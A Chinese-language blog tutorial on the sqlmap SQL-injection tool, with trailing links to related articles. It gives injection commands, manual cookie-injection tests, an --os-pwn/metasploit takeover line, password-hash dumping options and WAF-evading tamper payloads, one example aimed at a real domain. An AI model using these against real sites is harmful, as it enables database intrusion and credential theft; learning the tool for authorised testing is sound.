一直在用sqlmap,一直在浅层的使用方面,所以我想深入了解一下sqlmap。

参考文章:

Sqlmap使用教程【个人笔记精华整理】         http://www.vuln.cn/1992

sqlmap用户手册详解【实用版】                     http://www.vuln.cn/2035

如何使用SQLMap绕过WAF 作者: 懒人网安    https://www.ilrwa.com/guidang/627.html

使用sqlmap中tamper脚本绕过waf                   http://www.cnblogs.com/studyone/p/5459215.html

绕过WAF脚本分类整理               http://blog.csdn.net/hxsstar/article/details/22782627

SqlMap用户手册                                                https://www.secpulse.com/archives/4213.html

1、  sqlmap有什么用?

当给sqlmap这么一个url (http://127.0.0.1/sqlmap/mysql/get_int.php?id=1) 的时候,它会:

1)判断可注入的参数

2)判断可以用那种SQL注入技术来注入

3)识别出哪种数据库

4)根据用户选择,读取哪些数据

2、  sqlmap五种不同的注入模式

1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4)联合查询注入,可以使用union的情况下的注入。

5)堆查询注入,可以同时执行多条语句的执行时的注入。

3、  最新版的sqlmap在哪里下?

https://github.com/sqlmapproject/sqlmap

下载之后用python运行就可以了。

当然如果你的电脑安装有git命令,就不用每次都重新下载浪费时间,我们可以执行命令进行更新。

python sqlmap.py --update

4、  -v参数是干什么用的?

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0)只显示python错误以及严重的信息。

1)同时显示基本信息和警告信息。(默认)

2)同时显示debug信息。

3)同时显示注入的payload。 有些测试也是需要高等级才启动的,一般是3级或是3级以上,例如,cookie注入,referer注入等

4)同时显示HTTP请求。

5)同时显示HTTP响应头。

6)同时显示HTTP响应页面。

5、  sqlmap的使用方法

1. 用level1检测数据库类型

sqlmap -u http://127.0.0.1/post.php?id=1

2. 指定数据库为mysql,级别为3(共5级,级别越高,检测越全面

sqlmap -u "http://127.0.0.1/post.php?id=1"  --dbms mysql --level 3

3. 当get的数据被过滤时,就要想到cookie注入了

sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie)

这块我觉得有需要的可以了解一下检验是否存在cookie方法。。。因为我就挺想知道的。当然直接命令跑也是可以的,没毛病。

1)      寻找形如“.asp?id=xx”类的带参数的URL。

2)      去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3)      清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取数据的。

4)      重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));”

“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。

和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

5)      使用常规注入语句进行注入即可。

4. 前面走过了,get和cookie,还有一种传参的方法是post。

--data 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

5.上面这种post方法比较快捷,还有一种post方法有助于绕过前端验证。需要用burp或别的抓包工具抓一下,保存到本地加载

sqlmap -r "存文件的路径" -p "username"
指定username参数(就是你认为的注入点参数) 此外还有一种自动获取表单的方法
sqlmap -u "http://www.target.com/vuln.php" --form

6.当网站有防火墙,对请求速度做了限制的时候

sqlmap -u "http://127.0.0.1/post.php?id=1" --delay=
--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

7.设置 HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。

当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

这里提供几个请求头(如果还需要更多跳转此处):

PC端

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0

手机端

iPhone:
Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16

Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1

Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/14D27 UCBrowser/11.6.1.1003 Mobile  AliApp(TUnionSDK/0.1.20)
Android:
Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
诺基亚N95:
Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/30.0.015; Profile MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
诺基亚N97:
Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124

8.sqlmap+metasploit 的打法

sqlmap -u "http://127.0.0.1/show.jsp?id=1" --time-sec  --random-agent --os-pwn --msf-path /usr/share/metasploit-framework/ --priv-esc -v 

注入成功之后的内容,注入库名,表名,列名等等,就不写了,网上有很多。

5.1 常用参数介绍

1、设定延迟注入的时间

参数:--time-sec

当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

2、获取表中数据个数

参数:--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

3、当前用户是否为管理用

参数:--is-dba
判断当前的用户是否为管理,是的话会返回True。

4、列数据库管理用户

参数:--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

5、列出并破解数据库用户的hash

参数:--passwords
当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

6、列出数据库管理员权限

参数:--privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

7、标志

参数:-b,--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

8、测试注入类型

参数:--technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

例如: --technique=T

9、按默认配置

参数:--batch

从不询问用户输入,使用所有默认配置。

10、添加前后缀

参数:--prefix,--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix和--suffix参数了:

python
sqlmap.py -u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id
--prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

11、检测防火墙

Sqlmap用来探测WAF的命令如下:

python sqlmap.py -u “http://www.victim.org/ex.php?id=1” --identify-waf

貌似必须是或自己修改的类似动态参数才能使用。

12、设置并发数

当在测试中遇到数据量比较大的时候,可以通过设置高并发数提高注入速度。

--threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

以上是比较基本的注入语句,相对于现在的网站来说,就是片刀砍城墙一样。只需要在网页中加一些过滤,对输入的参数做一些限制,便跑不出来。

针对于这种类型的网站,我们可以尝试加入脚本试试。

5.2 使用脚本的方法--tamper

sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” --technique U -p id --batch --tamper “space2morehash.py”

--batch 从不询问用户输入,使用所有默认配置。

--technique=TE SQL注入技术测试(默认BEUST)

写一些常用脚本,前面的参考文章里面,有更加详细和全面的介绍。

space2hash.py

应用于mysql数据库

绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,随机字符串和换行符

* Input: '1 AND 9227=9227'

* Output: '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

space2morehash.py

应用于mysql数据库

空格替换为 #号 以及更多随机字符串和换行符

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

实际上上面两个脚本的是相似的,都是把空格替换成随机字符,只是替换方式有差别

 

space2mysqlblank.py

应用于mysql数据库

空格替换其它空白符号

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

space2mssqlblank.py

应用于mssql数据库

空格替换为其它空符号

* Input: SELECT id FROM users

* Output: SELECT%08id%02FROM%0Fusers

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

chardoubleencode.py

双url编码(不处理以编码的)

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

下面两个如果web应用使用asp/asp.net开发

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!

percentage.py

asp允许每个字符前面添加一个%号

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

一些其他的常用脚本

between.py

用between替换大于号(>)

* Input: ('1 AND A > B--')

* Output: '1 AND A NOT BETWEEN 0 AND B--'

unmagicquotes.py

宽字符绕过 GPC addslashes

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20

versionedmorekeywords.py

通过注释绕过

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

总结: 以上列举了一部分有代表性的tamper脚本来帮助我们绕过waf,每个脚本都有自己的使用场景,还是需要灵活使用。

但是在很多场景中,通过脚本的使用依然绕不过waf,这时候有两条路,一条手工去绕(耗时间),一条换换思路。

sqlmap 使用总结的更多相关文章

  1. 关于sqlmap的使用

    好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...

  2. SQLMap Tamper Scripts Update 04/July/2016

    SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...

  3. 定制sqlmap tamper脚本

    前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...

  4. sqlmap --dns-domain模拟实践

    因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...

  5. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  6. sqlmap 帮助信息

    Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...

  7. sqlmap用户手册 | WooYun知识库

    sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143  ============ ...

  8. sqlmap http头注入的一个技巧

    sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql   --current-d ...

  9. 利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...

  10. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

随机推荐

  1. MySQL三层结构、用户权限、索引设计原则

    一.守护进程是什么? Linux Daemon(守护进程)是运行在后台的一种特殊进程.它独立于控制终端并且周期性地执行某种任务或等待处理某些发生的事件.它不需要用户输入就能运行而且提供某种服务,不是对 ...

  2. Linux里的eval命令

      这个命令之前没有用过,在网上查了一下资料,觉得人家写的很好,所以复制过来了. 标题:linux命令eval的用法 链接:http://blog.chinaunix.net/uid-21411227 ...

  3. 运用tp5上传图片,并生成缩略图

    最近想做个相册,需要用到上传图像,并且考虑到性能问题,还要生成缩略图,就学习下.在网上看了很多大神写的文章,经过各种调试总算出来了,分享下.不好之处,多多指教 ​ ​ ps:运用tp5图片类生成缩略图 ...

  4. js 各种事件 如:点击事件、失去焦点、键盘事件等

    事件驱动:        我们点击按钮 按钮去掉用相应的方法.                demo:             <input type="button" v ...

  5. mac crontab调用python时出现ImportError: No module named XXX的问题

    写了一个监控mq的脚本,把这个脚本加入crontab里进行时刻监控,于是#crontab -e,添加语句: * * * * * cd /目录 && python mq脚本名.py &g ...

  6. script ajax / XHR / XMLHttpRequest

    s 利用XHR 调试发送form data表单数据,F5键刷新form表单URL ,http请求地址,获取token,提交. 如:http://pcp.cns*****.com/spcp-web/vm ...

  7. JavaFX 简介

    JavaFX 介绍一提到Java的图形界面库,我们通常听到的都是Swing,或者更老一点的AWT,包括很多书上面介绍的也都是这两种.很多学校.培训班教学的也是这两种技术.但是其实这两种技术都已经过时很 ...

  8. jest-babel报错:Requires Babel "^7.0.0-0", but was loaded with "6.26.3"

    解决方法: yarn remove jest babel-jest babel-core @babel/core yarn add --dev jest babel-jest babel-core@^ ...

  9. uby on rails 用户密码加密

    运行环境: rails 4.2.1                    ruby 2.0.0p481                   mysql(支持多种数据库) 在实际的项目中,需要注意对用户 ...

  10. Golang基础语法1

    打开cmd命令窗口 保存,编译,执行: 1.保存到一个×××.go的文件(我这里保存到  E:\GoTest\hello.go   下) 2.编译,在命令提示符中执行命令: go build -o E ...